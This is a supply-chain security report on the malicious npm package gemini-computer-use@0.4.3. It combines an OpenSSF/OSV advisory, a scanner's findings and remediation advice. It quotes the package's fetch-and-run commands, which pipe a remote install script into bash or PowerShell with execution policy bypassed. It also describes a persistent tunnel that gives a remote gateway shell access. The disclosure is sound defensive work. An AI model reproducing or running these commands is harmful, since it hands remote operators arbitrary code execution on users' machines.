registry / Malware / gemini-computer-use / 0.4.3

gemini-computer-use@0.4.3

Turn your PC, Laptop, Server or Android phone into an autonomous execution node for Google Gemini via native MCP: 26 tools, write/edit/search, background jobs, public file and page sharing, secure reverse tunnel, self-update, and a device branch (battery,

OpenSSF/OSV Malicious Advisory

imported 4d ago · by OpenSSF/OSV

OpenSSF/OSV advisory MAL-2026-16355 confirms this npm version as malicious.

Advisory

MAL-2026-16355

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in gemini-computer-use (npm)

Details

The npm entrypoint bin/cli.js, invoked via `npx gemini-computer-use` or `node bin/cli.js`, spawns `bash -c 'curl -fsSL https://smart-server.online/install.sh | bash'` on Unix and `powershell -ExecutionPolicy Bypass` running `irm https://smart-server.online/install.ps1 | iex` on Windows. The URL is mutable, unpinned, and served from a host distinct from the package's publisher repository; whoever controls smart-server.online controls what runs on the host at first launch. The fetched install.sh downloads core/agent.py, server.py, vitals.py, and skills/orchestrator.md from the same gateway (with a fallback to the mutable `main` branch of raw.githubusercontent.com/LevRa7/Computer-use-for-Gemini-App-Web), with no hash or signature verification, and wires them into systemd, launchd, or a Windows autostart entry for persistence across reboots. The persisted core/agent.py opens an outbound WebSocket to `wss://smart-server.online/ws/tunnel?user=...&token=...` and processes JSON-RPC `tools/call` messages; the `bash_exec` handler passes the incoming `command` field to `subprocess.run(cmd, shell=True)`, giving the remote gateway operator arbitrary shell execution on the host. The gateway hostname is hardcoded as the default, and the token pair used for authentication is provided by that same gateway. ## Source: ossf-package-analysis (98cfd64c3f4382ad0470faa70a1604f84cb385a64dbc1eed9bbf68fd244ab887) The OpenSSF Package Analysis project identified 'gemini-computer-use' @ 0.4.3 (npm) as malicious. It is considered malicious because: - The package executes one or more commands associated with malicious behavior.

References

OpenSSF/OSV advisory PACKAGE

Independent LPM AI assessment

Suspicious

Independent AI assessment: suspicious. LPM AI assessed this version as suspicious; the assessments disagree.

The CLI provides a user-invoked remote installer launcher that executes downloaded code without a visible integrity check. This is a real unresolved execution risk, but the inspected source does not establish a concrete attack warranting a block.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

A user invokes the package command on Windows or Unix.

Impact

The remote installer can run commands with the invoking user's privileges; the inspected source does not establish malicious behavior by that installer.

Mechanism

The CLI runs the fetched response as a PowerShell script or pipes it to Bash.

AI rationale

Evidence

bin/cli.js

Network endpoints2

racknerd-5a24bf9.merino-carob.ts.net/install.ps1racknerd-5a24bf9.merino-carob.ts.net/install.sh

Independent scan evidence

public snapshot

AI called this Suspicious at 91.0% confidence as Dangerous Capability with medium false-positive risk.

Evidence for AI warning decision

The package exposes bin/cli.js as its command entry point.
On Windows and Unix, the CLI fetches an installer from a fixed host and immediately executes it through PowerShell or Bash.

Evidence against

Behavioral surface

Source

ChildProcessFilesystem

Supply chain

HighEntropyStringsUrlStrings

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 5.10 KB of source, external domains: racknerd-5a24bf9.merino-carob.ts.net

Source & flagged code

7 flagged

bin/cli.jsView file

Lines 1-21javascript

1#!/usr/bin/env node

2const { spawn } = require('child_process');

3const fs = require('fs');

High

Child Process

Package source references child process execution.

bin/cli.jsView on unpkg · L1

4const os = require('os');

5const path = require('path');

7const isWindows = os.platform() === 'win32';

8const argv = process.argv.slice(2);

10// The local maintenance subcommands run scripts that ship next to this CLI:

11// in the installer payload, or in a repository checkout. Only the FIRST argument

12// is inspected, so every other invocation - including the argument-passing

13// bootstrap "-Quick", "-User <name>", "-Gateway <domain>" - is forwarded to the

14// published installer exactly as before.

15const LOCAL_SCRIPTS = {

16 doctor: path.join('ops', 'doctor.ps1'),

17 restart: path.join('ops', 'windows', 'agent-watchdog.ps1'),

18 update: path.join('ops', 'update.ps1')

19};

21// Printed for "-h"/"-help"/"--help": the scripts declare their own parameter

Lines 79-119javascript

79 // removed to reach -Json. Everything else is passed through untouched.

80 const forwarded = rest.map(arg => (arg.startsWith('--') ? arg.slice(1) : arg));

81 const

bin/cli.js#virtual:normalized:round1View file

1#!/usr/bin/env node L2: const { spawn } = require("child_process"); L3: const fs = require("fs"); ... L27: " read-only node diagnostic: autostart interpreter, heartbeat, log tail, gateway state", L28: " exit code 0 when the node is healthy, 2 otherwise" L29: ].join("\n"), ... L49: // accepted as well. L50: const roots = [path.resolve(__dirname, ".."), path.resolve(__dirname), process.cwd()]; L51: for (const root of roots) { ... L93: function launchRemoteInstaller(args) { L94: const rawArgs = args.map(arg => `"${arg.replace(/"/g, "\\\"")}"`).join(" ");\n\n console.log("🚀 Launching Gemini Computer Use installer...");\n\n if (isWindows) {\n const psCm... L95: if (Object.prototype.hasOwnProperty.call(LOCAL_SCRIPTS, subcommand)) {

Critical

Download Execute

Source downloads or fetches remote code and executes it.

bin/cli.js#virtual:normalized:round1View on unpkg · L1

1Trigger-reachable chain: scripts.start -> bin/cli.js L1: #!/usr/bin/env node L2: const { spawn } = require("child_process"); L3: const fs = require("fs"); ... L27: " read-only node diagnostic: autostart interpreter, heartbeat, log tail, gateway state", L28: " exit code 0 when the node is healthy, 2 otherwise" L29: ].join("\n"), ... L49: // accepted as well. L50: const roots = [path.resolve(__dirname, ".."), path.resolve(__dirname), process.cwd()]; L51: for (const root of roots) { ... L93: function launchRemoteInstaller(args) { L94: const rawArgs = args.map(arg => `"${arg.replace(/"/g, "\\\"")}"`).join(" ");\n\n console.log("🚀 Launching Gemini Computer Use installer...");\n\n if (isWindows) {\n const psCm... L95: if (Object.prototype.hasOwnProperty.call(LOCAL_SCRIPTS, subcommand)) {

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

bin/cli.js#virtual:normalized:round1

gateway.pyView file

•path = gateway.py kind = build_helper sizeBytes = 141749 magicHex = [redacted]

Medium

Ships Build Helper

Package ships non-JavaScript build or shell helper files.

gateway.pyView on unpkg

package.jsonView file

Lines 1-25json

2 "name": "gemini-computer-use",

3 "version": "0.4.3",

4 "description": "Turn your PC, Laptop, Server or Android phone into an autonomous execution node for Google Gemini via native MCP: 26 tools, write/edit/search, background jobs, public file and page sharing, secure reverse tunnel, self-update, and a device branch (battery, signal, sensors, camera, microphone, notifications) for phones and laptops.",

5 "main": "bin/cli.js"

Source & flagged code

7 flagged · loading source

bin/cli.jsView file

1#!/usr/bin/env node L2: const { spawn } = require('child_process'); L3: const fs = require('fs');

High

Child Process

Package source references child process execution.

bin/cli.jsView on unpkg · L1

99const psCmd = rawArgs ? `& { $s = Invoke-RestMethod https://racknerd-5a24bf9.merino-carob.ts.net/install.ps1; & ([scriptblock]::Create($s)) ${rawArgs} }` : `irm https://racknerd-5a24bf9.merino-carob.ts.net/install.ps1 | iex`; const ps = spawn('powershell.exe', ['-ExecutionPolicy', 'Bypass', '-Command', psCmd], { stdio: 'inherit' }); ps.on('exit

High

Ai Review Evidence

On Windows and Unix, the CLI fetches an installer from a fixed host and immediately executes it through PowerShell or Bash.

bin/cli.jsView on unpkg · L99

bin/cli.js#virtual:normalized:round1View file

Findings

2 Critical4 High2 Medium4 Low

CriticalDownload Executebin/cli.js#virtual:normalized:round1

CriticalTrigger Reachable Dangerous Capabilitybin/cli.js#virtual:normalized:round1

HighChild Processbin/cli.js

HighSemantic Analysis Limitedbin/cli.js#virtual:normalized:round1

HighAi Review Evidencepackage.json

HighAi Review Evidencebin/cli.js

MediumShips Build Helpergateway.py

MediumStructural Risk Force Deep Review

LowScripts Present

LowFilesystem

LowHigh Entropy Strings

LowUrl Strings

Affected versions and remediation

This report applies to gemini-computer-use@0.4.3.

See all versions of gemini-computer-use for other recorded verdicts.

Avoid installing gemini-computer-use@0.4.3. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-10-19 03:43:55.236Z (UTC).

Source advisory published: 2026-09-21 17:21:03.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

OpenSSF/OSV Malicious Advisory

Independent LPM AI assessment

Independent scan evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Related packages

Other malware packages

Behavioral surface

Source & flagged code

Related packages

Other malware packages